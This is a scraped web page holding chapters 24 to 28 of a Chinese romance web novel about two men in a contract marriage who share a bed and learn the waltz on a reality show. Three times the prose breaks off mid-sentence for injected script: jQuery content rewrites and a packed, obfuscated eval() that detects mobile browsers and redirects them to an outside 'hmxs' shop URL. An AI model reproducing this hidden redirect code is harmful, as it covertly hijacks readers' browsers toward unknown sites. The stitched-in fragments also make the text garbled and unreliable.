$(''.inform'').remove(); $(''#content'').append('' “睡觉。” 依然是那副不近人情的冷淡嗓音。 “我觉得你还是少说点话比较好。”顾听舟被他噎得一顿,“说多了真的很讨打。” 易淮江没吭声,安静得像是刚才忽然把手盖在他脸上的人不是他一样。 卧室里重新恢复了一片宁静。 卧室里的两道呼吸声逐渐趋于一致,顾听舟的试探着睁开眼,眼前依旧是一片漆黑,却分不清是被这只手挡住了,还是真的身处黑暗之中。顾听舟眨了眨眼睛,不由自主地想起了宴会厅中易淮江和他说话时的语气。 冷淡的嗓音,语气却放缓了好几分,跟哄小孩似的。 虽然他也从来没见易淮江哄过小孩。这个冰块脸对上正值熊期的小屁孩,向来都是大黑脸对小黑脸,各有各的精彩。 但是……顾听舟考虑了下,但凡易淮江和他说话的时候都能这么好声好气,自己也不至于这么讨厌他。 当然,讨厌还是会讨厌的。易淮江对谁都这么一副冷冰冰的样子,他没道理逮着这一点跟人一杠就是二十年。锯嘴葫芦最大的问题在于锯嘴,易淮江可不是。 可现在……顾听舟感受着眼睛上那只手,隐隐约约的薄荷味混在甜橙中,大有要压过甜橙一头的趋势。 顾听舟闭上了眼睛。 要是易淮江能一直这么客客气气地对他,等离婚之后没准他俩还真能勉强当个朋友。 不知道过去了多久,顾听舟再次醒来,却发现自己睁不开眼睛。他下意识伸手想揉一揉,却惊讶地发现自己的手似乎都缩小了一整号。一片混乱中,耳边猝不及防地炸起一道惊雷。 紧接着,雷声、风声、雨声,还有他爸临走前交代他乖乖待在房间里不要乱跑的话语,骤然在小小的空间里不停回荡。 眼前是一片伸手不见五指的黑暗,耳边是出生起还从未遇见过的大暴雨,轰隆隆的雷响不绝于耳。 顾听舟没有说话,却能听见自己疑惑地不断喊着“爸爸”的稚嫩声音。 他从小就是家里的小霸王,就连在幼儿园都没人不服他,女孩子喜欢他的脸,觉得他像家里的洋娃娃,男孩子没他厉害,短手短脚的根本打不过他。 顾听舟记得很清楚,他小时候是不怕黑的。 这个毛病是四岁那年落下的。 祝女士的公司那时候正在上市的关键时机,每天都忙得不行,连饭都吃不上几口就又匆匆忙忙出门谈合同了。老顾作为清闲且稳定的大学教授,自然而然担起了带娃的责任。 据说那天是学校刚好要开调研大会,还有上级领导突击检查,除了在外地交流赶不回来的老师,其他人哪怕请了假也必须出席。因为天色还早,且他从小带着就省心省力,他爸就把他留在了家里,怕他乱跑还特地反锁了房门。 结果一场大会开到八点多,等终于到家时已经九点,儿童房里黑漆漆一片,没关紧的窗户被狂风吹得一震一震地响,等他爸终于开锁进门找到他时,他早已经发高烧晕过去了。 而等到四岁的他迷迷糊糊醒来时,眼睛还没来得及睁开,却先一步听见了印象中从未出现过、也是自那之后唯一一次出现在他记忆中的争吵声。 25. 睡完就跑 在顾听舟的印象中,祝女士一直都是一个对外说一不二、雷厉风行,对内平易近人,还很爱开玩笑的霸总,好像什么都难不倒她。 但那一次,顾听舟很清楚地听见她在生气,质问顾远博为什么会把一个四岁的小孩一个人反锁在房间里。老顾的语气听上去也很自责,一边认错,一边哄着情绪几近崩溃的祝女士。 午夜梦回,顾听舟才发现自己竟然把那时候发生过的事情记得这么清楚。 公司顶着一众老牌企业的压力强势入场,各方都紧盯着祝玉的一举一动,作为CEO,她的每一个决策都决定着公司关键的走向。高度紧绷的精神状态下,儿子的病成了压垮她的最后一根稻草。 一场怒斥到了最后,只剩下母亲泣不成声的自责。顾听舟甚至听见她说打算放一放公司的事,回来陪他。 然后他睁开了眼睛。 四岁的顾听舟小小的手背上还打着吊瓶,哑声叫正背对着他偷偷抹眼泪的妈妈。祝女士又恢复了往常那副骄傲的模样,问他还有没有哪里难受。 顾听舟摇摇头,漂亮的小脸露出个笑,问她:“妈咪,你的公司什么时候上市啊?” 祝女士从没因为他是小孩就随便拿话搪塞他,所以顾听舟听得懂他们的话,也知道她好像做出了一个会让她伤心的决定。 “快了,这个月应该就能忙完了……到时候……” 小顾听舟忍不住欢呼,然后抱住了祝玉的胳膊,撒娇道:“妈咪,等你赚了钱能不能给我买蛋糕吃?要多买一点,这样等文姨搬家住过来,还可以给她多分几个。” 祝玉愣了愣,可想了想还是牵起了儿子打针的小手,认真问道:“初初,妈咪总是没空陪你,你会不会不开心?” “妈咪开公司开心吗?” “开心。可是……” “妈咪开心,我就开心。”顾听舟仰着脸凑上去亲在她脸颊,“妈咪要是可以多给我买几个小蛋糕,我就更开心了。” 顾听舟在自己四岁的躯壳里看着祝女士骤然红了的眼眶,还是忍不住勾了勾嘴角。小时候的他不懂这个公司对祝女士有多重要,只是下意识地不希望祝女士不开心。 记忆中,这一天一夜的兵荒马乱最后以他输液结束,退烧回家写下了完满的句号。 没有经历过父母吵架的小孩,在不小心撞破一次后会更加不希望这样的场景重现。所以顾听舟不想打扰妈妈,更不希望爸爸妈妈因为他吵架,哪怕后来发现自己开始怕黑,也没再开口,反正只要开一盏小灯,或者熬一熬等天亮一点就能睡了,没什么大不了的。 而在这之后,祝女士和老顾也改变了策略,请了专门的保姆照顾他,也会尽量空出时间陪他,和刚刚搬到他家隔壁的易淮江家相比,差距就更是一个天上一个地下。 顾听舟也以为自己早就模糊了这段年仅四岁时候的记忆。可他的梦告诉他,没有。他下意识的恐惧反应也告诉他,没有。 一眨眼,原先坐在床边的祝女士和老顾倏然消失不见,白茫茫的病房里空空荡荡。顾听舟这才从复杂的情绪中稍稍抽离。 这只是一个梦。 可他为什么还是会觉得浑身发冷?顾听舟茫然地看着眼前的白模糊成一片飘忽的幻象,心底那根弦忍不住绷紧,吊得他快要喘不上气。 直到一道薄荷香轻轻浅浅地从窗棂通风的缝隙中静悄悄爬进来,顺着病床的床脚和他挂吊瓶的撑架蔓延到他的病床上。 这株绿色的植物闻起来冰凉凉的,明明爬到了他的床上,可顾听舟和它说话,它却是一副爱答不理的样子,气得他鼓着脸不想说话了,却又讨人厌地凑过来碰他,就像是…… 谁? 梦中的记忆仿佛出现了一瞬间的空缺。小小的他记忆中还没有这个人,只是下意识觉得又熟悉又讨厌,但和这株冷冰冰的薄荷斗来斗去,却也让他很快忘记了之前在这件病房中发生的事。 虽然讨厌,却又熟悉到让他心安。 顾听舟在不知不觉中沉入了梦境,而现实中,连梦里都在被讨厌的易淮江却被他一个翻身压得不得不从睡梦中醒来。 易淮江一睁开眼,就看见一颗熟悉的脑袋贴在了自己手臂上。 一头金色的短发被他睡得凌乱,这儿一簇那儿一缕地在头顶乱飞。易淮江尝试着往后挪,可没一会,这人就跟长了眼睛似的又紧跟着蹭了上来。 睡着了倒是知道往里躺了。 易淮江只好尝试把人转回去,可刚扣着肩膀往后拉了点距离,面前的人就一副要醒不醒的模样。 想了想这些天把人吵醒的后果,易淮江只觉得太阳穴隐隐作痛。瞥了眼自己被缠住的手臂,最终还是选择了重新躺平,然后默默闭上了眼睛。 * 八点,天光大亮。 童话小镇上的N.P.C们各就各位,摄影师们扛着机器在各组嘉宾的房门外静静等待。 洋楼内,薄薄的晨光不算刺眼,静静照着床上的两人。 梦中的一切如潮水般褪去,迷蒙的意识逐渐回笼,只留下零碎的记忆搁浅在岸边。 盖在眼睛上的手不知道什么时候松开的,顾听舟睡眼惺忪,刚刚从梦中脱离的状态让他还有些搞不清眼前究竟是梦境还是现实。 半阖着的眼帘下,一双剔透的眼瞳透着懵然。余光中,清晨的柔光透过窗帘把室内照亮,偶尔还会响起几声婉转清脆的鸟鸣。 自然醒的起床气浅到几乎可以忽略不计,这一觉睡得神清气爽,连带着反应力都跟着悠哉悠哉地慢了半拍。 他居然真的在半夜睡着了。顾听舟不可置信,可总觉得哪里不太对劲。 睁开眼,映入眼帘的却不是卧室的墙壁。 看着眼前面朝着他侧躺的男人,顾听舟刚刚开机的大脑“噔”的一声重新黑屏。 熟悉的脸,熟悉的薄荷味,梦中覆盖了整间病房的薄荷在此时与眼前人的印象完美重合。 顾听舟怔住的视线挣扎着动了动,却不由自主地落在了略显凌乱的睡袍领口。领口随着侧身的动作露出了大片从肩颈到胸口的肌肤。顾听舟的视线随着线条清晰的锁骨往下,缓缓落在了那条没入衣领布料的界限明晰的线上,然后忍不住顿了顿。 易淮江竟然有胸肌。 看着好像还挺标准的…… 运转迟缓的大脑默默飘过两句评价,顾听舟卡顿了半晌,终于在不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16842528|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去了几分钟之后猛地瞪大了双眼。 等等…… 易淮江?! 为什么他的面前会是易淮江?他不是面朝床外睡的吗?! 顾听舟的脑子里一团乱麻,好不容易缓了口气,终于发现自己觉得不对劲的地方在哪了。 易淮江的手是没盖着他眼睛了,但是,这个变态不知道什么时候伸手揽住了他的腰,一整条胳膊都落在他的身上,怪不得他觉得不对劲! 所以,现在的情况是他和易淮江不仅面对着面贴在一块,这人的胳膊还在被子底下搂着他的腰! 顾听舟很想把被子一掀,指着自己腰上的那条胳膊对着镜头紧急呼叫威廉过来好好看看,睡觉都能睡到面对着面抱在一块,这怎么不算是好好营业了恩爱夫夫,还有比他更敬业的假婚艺人吗?! 顾听舟揉了揉突突乱跳的太阳穴。再想到这个时间直播间很可能已经开了,成百上千的观众可能正在镜头后围观他俩抱着睡觉的一幕,瞬间就放弃了原来的想法。 顾听舟:…… 其实这业也不是非得这时候营……对吧? 一个晚上的时间而已,他们到底是怎么睡成这个样子的顾听舟已经不想再思考了,他现在只想趁易淮江还没睁眼赶紧逃离这张可怕的床。 但从来醒得都比某人晚的顾听舟显然对床上另一个人的睡眠情况还没有较为清晰的认知,提着气小心翼翼往后才退开一点距离,腰间倏然一紧,又被逮了回去。 易淮江冷淡的声线糅着丝低哑:“睡完就跑?” 顾听舟已经不想再和他讨论清白不清白的问题了,就他俩这个姿势,这个地点,这个时间,虽然大家心知肚明什么事都不可能发生,但也属实是有点对不起“清白”两个字了。 但这人说话怎么……? 顾听舟努力找了下形容词,还是没忍住开口吐槽:“易淮江,你脸皮真的是越来越厚了。” “总比某人半夜梦游非要往我怀里钻好点。”易淮江挑了挑眉,略显惊讶,“今天竟然没有起床气?” 顾听舟反手从床头薅来一只玩偶砸在他胸口,顺势挣脱了某人手,从被窝里坐起身,耳根却难以抑制地发烫:“屁。” 余光瞥见墙壁上的摄像机,顾听舟话涌到嘴边了又硬生生吞了下去,抬手从被子上捡起刚砸过人的玩偶又往易淮江身上摔,压着声恼羞成怒:“明明是你抱着我,我怎么可能——” 他顿了顿,咬牙切齿道:“我怎么可能往你那边凑!” 易淮江点点头:“好问题。” 他掀开被子下床,顺手把玩偶重新塞回了顾听舟怀里,背对着镜头俯身,动手理了理那一头凌乱的金发,手感意料之中的不错。 他挑了挑眉:“说好了约法三章,你觉得我会拿这个骗你?” 瞬间沉默。 顾听舟抱着玩偶,看着易淮江淡然离去的背影,心里千万道电闪雷鸣,已经快把自己劈麻了。 ……这人是在骗他吧? ……应该……是吧? 顾听舟自欺欺人地闭上了眼睛,有气无力地一头栽回了床上。 怎么还有六天,这日子也太难熬了…… 26.王室贵客 抵达城堡,昨晚负责晚宴的内侍npc再次登场,先把他们请进了的宴会厅,过了没多久,另外四位嘉宾也相继到场。 节目组精心专门请了厨师现场准备早餐,此时的宴会厅中满是煎烤培根和鸡蛋的香味。 傅乐天和许黎这组来得最晚。尤其是傅乐天,一头短发乱得像鸟窝,身上的衣服也穿得略显潦草,一边紧紧跟在许黎身后一边努力给自己的脑袋顺毛,手忙脚乱中抬头,这才看见了正在享用早餐的另外四人。 顾听舟率先朝他挥了挥手里的叉子:“早上好。”其他几人也抽空跟着打了招呼。 “早上好。”傅乐天满脸困倦,努力揉了把脸后,发自内心地真诚提问,“你们都不困的吗?” 边竹抿了口咖啡:“昨晚回去是有点晚了,但也还好,洗漱快一点应该可以睡够八个小时。” 易淮江点了点头表示赞同。 傅乐天拉开了顾听舟另一侧的椅子坐下,刚好和许黎面对面,闻言表情略显痛苦,顾听舟深表同情地拍了拍他的肩膀:“没事,我懂你。” “这么好的天气太适合赖床了。”顾听舟感同身受地感慨,“但凡今天没任务,这个点我必不可能出现在这。” “呜呜呜舟哥,我就知道你对我最好……”傅乐天向他舟哥投去了感动的目光,结果好巧不巧看见了坐在顾听舟另一边的易淮江。大佬明明在低头吃早餐,可他就是感觉有一道无形的威压落在了头顶,说了一半的话在嘴里艰难绕了一圈,换了口气后重新道,“我就知道我不是一个人!早起太痛苦了呜呜呜呜。” 傅乐天总算打起了点精神,可定睛一看却发现顾听舟一身的角色服穿得整整齐齐,哪怕没化妆也依旧帅气逼人。 人和人之间的差距狠狠打击了傅乐天的小心脏,泫然欲泣地“嗷呜”一口把煎蛋咬了一半。坐在他对面的许黎把自己的盘子往前挪了挪,傅乐天就十分自觉且熟练地吃掉了她盘子里那份的西蓝花,许黎也顺手把加了双倍牛奶和糖的咖啡推到他那边。 一整晚的同床共枕让顾听舟痛定思痛,趁着洗脸的工夫深刻反省了一下自己的所作所为。 睡着了往易淮江那边滚,醒了还看了易淮江的胸肌……易淮江那货故意调戏他就算了,他这么正直的人,怎么能真的被这人带歪当变态?当然,归根结底还是综艺的锅,干什么非要他们睡同一张床。 顾听舟默默盘算着,如果《恋爱百分百》没有达到夏导的要求,也就意味着他和易淮江还要继续营业,继续绑定在一块工作甚至是生活,说不定还要继续上类似的婚综继续营业。 顾听舟觉得自己不太行,易淮江这人跟进化了一样,他只想离婚,然后离这货有多远跑多远。 而离婚的前提就是好好营业。 顾听舟心里想着事,完全没注意到傅乐天话说一半又改口,只是目光若有所思地落在了他和许黎自然而然互相分享食物的亲昵姿态上,半晌又默默收了回来,一边纠结一边慢吞吞啃着烤得松软的吐司。 他数着自己盘子里剩下的食物,一根烤肠,半块煎蛋,一片还没吃的吐司,两片煎得焦香的培根和三朵西蓝花。 好像很丰富,但也就刚刚够他吃个饱。顾听舟犹豫了,余光扫了眼不远处的摄像。 要不还是先不学了? 顾听舟在心中安慰自己,营业可以再放一放,等会不知道还有什么任务要做,几点才能吃上午饭,没必要为了易淮江把委屈自己的胃。 顾听舟一边想着,一边把烤肠切成了一片片,可一抬眼,面前的盘子里不知道从哪多出了半根烤肠,顾听舟当即扭头看向了易淮江。 易淮江依旧慢条斯理地吃着他的早餐,眼皮都懒得抬一下,完全没有半点要他配合营业的意思。 搞什么? 顾听舟转回脸,看着盘子里多出来的半根烤肠,虽然疑惑,但还是秉持着不浪费粮食的想法全部吃光了。 吃完早餐,npc带着他们上楼,顾听舟特地磨蹭了两步走在了队伍最末,顺手拽住了易淮江。 顾听舟把人扯住了就准备松手,却没想到易淮江直接反手握了上来。 衣领上还别着麦,顾听舟没开口,给他递了个眼神:? 易淮江牵着他跟在队伍最后面:“吃饱了?” 顾听舟下意识眉头一皱,下一秒又反应过来易淮江是真的在问他早餐的问题。 顾听舟悻悻地摸了摸鼻子:“……差不多吧。” 条件反射,他俩阴阳怪气互怼都成习惯了,他真不是故意找茬。 易淮江的视线从他脸上扫过,忍不住皱眉:“还没睡醒?” “我觉得我醒了。”顾听舟瞟到前面傅乐天和许黎也牵着手,心下了然,便没抽回手,“如果没醒那这就是个恐怖故事。” “为什么?” 顾听舟瞥他一眼:“说明我们俩都睡过头了,你觉得可能吗?” 易淮江:“我不会睡过头。” “那不就是了。”顾听舟还是忍不住往两人牵着的手上瞟。易淮江顺着他的动作往下看见两人牵着的手,当即松开了他,然后就看见了顾听舟不解地抬起了头。 太奇怪了。 “没发烧。”易淮江伸手在他额头上贴了贴,“我现在是真的怀疑你没睡醒了。” “滚蛋。”顾听舟终于还是没忍住骂了一句,“好好配合你你还不乐意了。”说完就要迈开腿往前走,但下一秒又被人逮了回来。 易淮江总算搞明白了他今天早上盯着傅乐天看是在想什么:“你想学傅乐天和许黎?” 顾听舟眼睛一瞪,伸手就要捂他的嘴,这是能就这么在光天化日之下说出来的吗? 易淮江轻松扣住了他另一只手,两人在走廊拐角骤然停住了脚步。 易淮江哭笑不得:“顾听舟,我现在是真的觉得自己昨天的要求很有必要了。” 昨天的要求?让他按时作息的要求?这跟他学傅乐天和许黎的互动营业有什么关系?顾听舟没懂他的逻辑,但哪怕两只手都被他制住了气势依旧不落下风,挑衅地挑了挑眉:“说人话。” 易淮江调整了下姿势,改成了单手扣住他两只手腕:“人话就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852711|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你是不是前两天没睡好,今天被反噬了?” “上节目前不是说过,正常相处就好,学他们干什么?”易淮江凑近了点,望进他的眼睛,“不是每对情侣的相处方式都一模一样的,像边竹和邓秉述,和他俩不也不一样?” 当着摄像机的面,易淮江的话说得很隐晦,但也许是得益于他俩互相阴阳怪气太久,对方拐着弯说话也能基本秒懂,顾听舟听他说完后沉默了。 ……好像是这么个理。 顾听舟看他:所以我们还是继续怼来怼去? 易淮江松开了他的手:“那倒不用。” 这也不用那也不用,你的剧本要什么时候才能开拍,我的离婚证要什么时候才能拿到手!顾听舟叹了口气,随便了,大不了就忍到合同过期,到时候让威廉多给他接几部戏。 一行人跟着npc来到二楼,七拐八拐地绕过好几条长廊后,终于来到了一个和一楼宴会厅差不多大的空旷房间。 房间的一侧靠墙立着几架横杆,房门正对面的墙壁上则贴着和墙壁等高的镜子。直接把整个房间倒映在了镜子里。 许久没有露面的导演叶彦此刻正戴着他的小蜜蜂扩音器坐在镜墙的正前方,而在他的左右两侧,各站着一位穿着卫衣长裤的男老师和女老师。 “欢迎各位老师!”叶彦带头给六位嘉宾鼓了鼓掌,“请问看到这个房间布置的时候,各位的第一反应是什么?” “练功房?”邓秉述说。 “没错!”叶彦笑着点头,“由于昨天我们的顾听舟老师和易淮江老师成功守卫了国王的珍宝,国王收到消息之后非常开心,并且迫不及待想要见到各位贵客,所以他现在已经在赶回童话王国的路上了。” 顾听舟举手:“国王回来,和我们有什么关系,我们不是客人吗?” “大家当然是童话王国尊贵的客人和一份子,但既然要面见国王,作为贵客,当然也不能失礼对不对?” 叶彦笑着从身后拿出一个掏了洞的纸盒晃了晃:“所以,在今晚八点,国王到达城堡之前,各位老师需要先学习王室宴会上最基本的舞蹈——华尔兹,并且在今晚为国王献上表演。” 顾听舟太阳穴猛地一跳:“什么鬼?” 但还没等几人对“华尔兹”表示抗议,叶彦紧跟着宣布了下一个更“重磅”的消息。 叶彦看热闹不嫌事大地继续宣布:“众所周知,华尔兹是分男步和女步的,由于我们的嘉宾都是成双成对的,节目组当然不可能拆散各位。” 他再次晃了晃手里的盒子:“所以,本次‘华尔兹舞蹈’的学习开始前,我们将会通过抽签分出每对情侣中负责男步和女步的嘉宾。” “公平起见,每对情侣可以先内部商议谁来抽签。盒子里有写着‘男步’的纸条,也有写着‘女步’的纸条,前来抽签的嘉宾抽到什么,自己就负责哪部分,而抽签嘉宾的另一半则要负责剩下的舞步。” “现在大家可以开始商量了,限时三分钟,在接下来的三分钟内,大家只要决定好了抽签人选,就可以随时来找我抽签哦。” 27.就这一次 顾听舟往易淮江那边挪了挪,用胳膊拐他:“你会不会这个?” “见过,没学过。”易淮江看他,“你会?” “不会。”顾听舟摇头摇得非常果断,“大学选课的时候我第一个排除的就是体育舞蹈。” 只有三分钟的思考时间,顾听舟主动问:“你去还是我去?” “都行。”易淮江没意见,按导演的意思,箱子里有男步也有女步,抽到什么就是什么,但话出口他又顿了顿,接着改口道,“你抽吧。” 顾听舟狐疑地瞥他一眼:“你有问题。” 易淮江坦然:“我去抽要是抽到男步,你就自动分进女步组,你能接受?” 那还是算了,以他从小到大的经验判断,只要和易淮江有关,绝对没什么好事。 说话间,边竹和邓秉述已经通过猜拳决出了胜负,邓秉述率先上前,然后从盒子里摸出了一颗黄色的乒乓球。叶导让他拿着乒乓球向房间里的各个机位展示了一遍后,鼓掌道:“恭喜邓老师抽到男步。边老师自动归为女步。” 为表公平,叶彦把那枚乒乓球又放回了盒子里使劲摇了摇:“黄色乒乓球代表男步,白色乒乓球代表女步,盒子里两种颜色的乒乓球各三个,概率相等,节目组绝对公平公正的哈。” 傅乐天从抽到身份卡起就已经接受了自己是男版“灰姑娘”的身份设定,对于跳女步没有半点意见,和许黎简单商量了一下后,决定权自然而然地落在了许黎身上。 许黎抽出了一颗白球,叶导同样给予了热烈的掌声:“恭喜许老师抽到女步,那么傅老师就要分配男步了。” 现在只剩最后一组还没有抽签了。 纸盒被使劲晃了好几下打乱顺序,顾听舟听着盒子里球与球碰撞发出的“沙沙”声,忍不住在心里默念:“男步,一定要是男步。” 胜负欲悄悄冒了头,顾听舟回忆着对华尔兹残存的印象,只剩下男生牵着女生转圈,和古早玛丽苏偶像剧里的女主总会在学跳舞时猜到男主的脚。 转圈还是让易淮江来吧,如果能跳男步,就算到时候真的被易淮江踩了脚……顾听舟默默在脑海里叉掉了这个可能性,凭易淮江的学习能力,应该……至少可以做到不踩他的脚吧? 起码他不会像易淮江那样耍流氓。 顾听舟低头瞟了一眼,试图从盒子那个只比拳头大不了多少的洞口看出些端倪,只可惜入目只有一片深不见底的黑。 “顾老师看着有点紧张啊。”叶导打趣道。 “我紧张?”顾听舟扬了扬下巴,两枚精致小巧的银环在耳垂上闪闪发亮,“我觉得我的手气没问题,该担心的应该是易淮江。” “顾老师看起来很有自信嘛。”叶导抱着抽签盒搞起了节目效果,“易老师对此有没有什么想说的?” 顾听舟顺着他的问题转头,刚好对上了那人投向他的目光,挑了挑眉:看什么看,有意见? 易淮江眼底划过一抹促狭,意有所指道:“不好说。” 嘁。 顾听舟别过脸问叶导:“导演,我可以抽签了吧?” “当然当然。” 顾听舟把手伸进抽签盒里,指尖划过光滑的球面,每个都一模一样,顾听舟犹豫了几秒,最后还是凭直觉抓住了其中一个。 抽出手的瞬间,顾听舟信心满满的神情瞬间凝固了。 在他掌心里安详躺着的,赫然是一颗白色的乒乓球。 顾听舟眨了两下眼睛,试图重启一下打开方式。然而当他的视线重新落在手里那颗乒乓球上时,依旧是毫无异义的白色。 偏偏这时候,叶导的小蜜蜂也紧跟着在耳边炸响:“恭喜顾老师抽到女步,易老师自动对应男步。” 手里的乒乓球跟烫手山芋似的被他匆匆丢回了抽奖箱里,顾听舟转身走回去时的脚步都沉重了几分。 “你要是敢幸灾乐祸……”顾听舟在他身边站定,威胁似的瞪他一眼。 “不敢。”易淮江见好就收,极其顺手地握着他的手捏了捏,“就一天的时间,节目组教不了什么。” 顾听舟难得发自内心地希望易淮江的话能够灵验,但等到两位老师真的开始教学后,他忍不住摁住了自己突突乱跳的太阳穴。 负责教学和解说舞蹈老师的是位温和的年轻女性,一边和她的男舞伴演示即将正式教学的动作,一边耐心地给嘉宾们讲解动作要领:“负责男步的同学动作落点要把握好,手掌是落在腰上,不要抬得太高卡舞伴的胳膊,也不要放的太低,贴在胯上会影响后续你舞伴的走步,容易摔倒……” 顾听舟的脊背板得笔直,余光瞥着两位老师示范的动作,四肢愈发僵硬。 当易淮江的手按照老师的讲解虚扶上他腰侧时,顾听舟恨不能当场表演个立定跳远。 “等等。”他眼疾手快地抓住了易淮江的手腕,握住了才想起来不对,低声急道,“你别乱碰。” 易淮江由着他抓:“舟舟,这不是我说了算的。” 没等顾听舟急中生智想出点什么借口,站在队伍最前面的舞蹈老师先笑眯眯开了口:“这是华尔兹最基本的动作架型,大家一定要把动作规范起来,不然后面衔接的时候拍出来效果就不太好看了。” 顾听舟:“……” 另外两对嘉宾的动作虽然也算不上规范,但顾听舟听在耳朵里,还是忍不住耳根一热,仿佛舞蹈老师就是在点他一样。僵持了几个呼吸,思想斗争结束的顾听舟最终还是放开了易淮江的手。 易淮江的手重新落回到了原处,这次比上次还松了些,但存在感却反而变得更加强烈了。隔着薄薄的不了,顾听舟仿佛能感觉到他掌心那道微冷的温度。 “放松。”易淮江低声道,“你现在绷得像是下一秒就要上战场。” “还不如真上战场呢。”顾听舟没好气道,“起码是枪跟我站一块。” 吐槽归吐槽,顾听舟虽然脾气不太好,但也从来没耍过大牌。尽管内心依旧抗拒,但面上还是按照老师的示范,伸出右手和易淮江十指相扣,原样复刻了老师的动作。 “接下来是右转步。”舞蹈老师扶着搭档的肩膀给他们示范,踩着口令的节点迈出对应步伐,“华尔兹是三步舞,节奏是‘强弱弱’。由于时间关系,这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16860524|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步伐比较困难,我们只截取学习整段舞蹈里的四个三拍。男步第一拍左脚前进,女步右脚后退……” 易淮江的目光落在前面正在做示范动作的老师的脚步上,神色专注。 做完示范,老师拍了拍手召集大家:“来,现在我们先来做分解练习。大家跟着我数的拍子迈步,听清楚我数节拍的节奏,记住自己先出的是哪只脚,不要着急,步子不要迈得太大。” “一——哒——哒——” 老师经验丰富,数节拍的节奏刻意拉长,给六位初学者们留了足够的思考时间和反应时间。顾听舟只看一遍就基本能把两条腿的步子记得大差不差,只是真正落实到脚下,还有些不熟练,老师可以控制过的节拍速度让他松了口气。 而比起他能够记住动作要领却还需要时间和练习熟悉的模样,易淮江再一次发挥了他沉寂已久的卷王属性。 这人跟作弊了一样把动作全记住了,虽然第一遍试跳的时候比他还动作僵硬,但只是看起来奇怪,这人的动作是全对的。 甚至在舞蹈老师反复带着他们重复了好几遍动作后,这人甚至已经能够自如迈步,甚至是在他卡顿的间隙低声提醒他该迈哪条腿。 顾听舟:“……”熟悉的让人讨厌的感觉。 可讨厌归讨厌,易淮江的进步神速却也实实在在地避免了他们俩一个不小心踩到对方的可能性。 顾听舟眼神复杂地看了眼另一边的傅乐天因为记不住动作而总是踩到许黎,真情实感的道歉声不绝于耳,默默收回了自己的视线。 ……就这一次。 既然易淮江这次没祸害他,那他就暂时不拿当初那些陈年旧账和这人算账了。 右转步练得差不多后,舞蹈老师如顾听舟预料的那样,讲解到了旋转动作。 “这是华尔兹最经典的部分,同样也很考验对舞伴和舞伴之间的默契。”舞蹈老师介绍完,紧接着对着镜墙和她的男舞伴示范了一遍,然后又逐个动作逐个动作地讲解动作要领。 “男步要给出明确的旋转信号,并通过手臂引导女步开始旋转。女步要注意稳住身体重心,不要把自己转出去了。” 这个动作属实是对六位嘉宾极大的考验。 跟随着舞蹈老师给出的节奏口令,易淮江尝试着给出了旋转信号,但信号太模糊,作为等待信号的女步,等到顾听舟反应过来后,两人已经错过了老师的口令。 “再来。”顾听舟磨了磨后槽牙,要求道,“你稍微把信号明确一点。” “好。” 两人的态度都十分认真,舞蹈老师很快也开始了第二遍口令指导。 这一次的信号确实不模糊了,但顾听舟依旧没反应过来。只是一阵天旋地转,然后他就整个人摔进了易淮江怀里。 两人本来因为舞蹈动作就站的近,这一下,几乎是直接撞进了易淮江怀里。 薄荷的冷香登时扑了他满脸。 顾听舟挣扎着要站直,可慌乱中没抓稳,原本要攀着易淮江肩膀稳住自己的手顺着衣服布料往下一滑,又是一个踉跄。 这下直接埋在了易淮江胸口。 28.绝对特权 硬邦邦的肌肉砸得脸疼。 顾听舟好不容易才胡乱扒拉开了易淮江扶他的手,自己捂着额头往后退开了好几步。 舞蹈确实不是能够一蹴而就的,哪怕易淮江并没有想故意伤害顾听舟的意思,可看着顾听舟微微泛红的额头,听着他小声的抽气,身体却还是下意识地排斥他的接近,易淮江默默收回了手。 他几乎从没感受过这种四肢仿佛脱离大脑控制的感觉,明明模拟出的结果并不应该是这样,可真的放到现实中,却和预想的完全不一样。 因此对于被他的错误判断影响到了的顾听舟,易淮江自然而然地产生了歉意。 “抱歉。” 易淮江抿了抿唇,垂眸看了眼自己收回的手,静静等着另一人即将爆发的情绪。 “疼死个人……”顾听舟刚要拿眼刀子飞他,却先听到了他的道歉,没忍住愣了下,“你说什么?” 易淮江又重复了一遍:“抱歉,是我的问题。” “当然是你的问题,不然还能是我的脸主动碰瓷你的胸肌?”顾听舟抱怨了一句,但顿了顿又忍不住讶异,“你居然会道歉?” 易淮江哑然:“你好像很……意外?” 顾听舟心有余悸地揉了揉额头:“你要不先想想你除了今天,什么时候和我说过这两个字?” “……”易淮江仔细回忆了下,无言以对,但看顾听舟的状态,他也同样意外,“你不生气?” 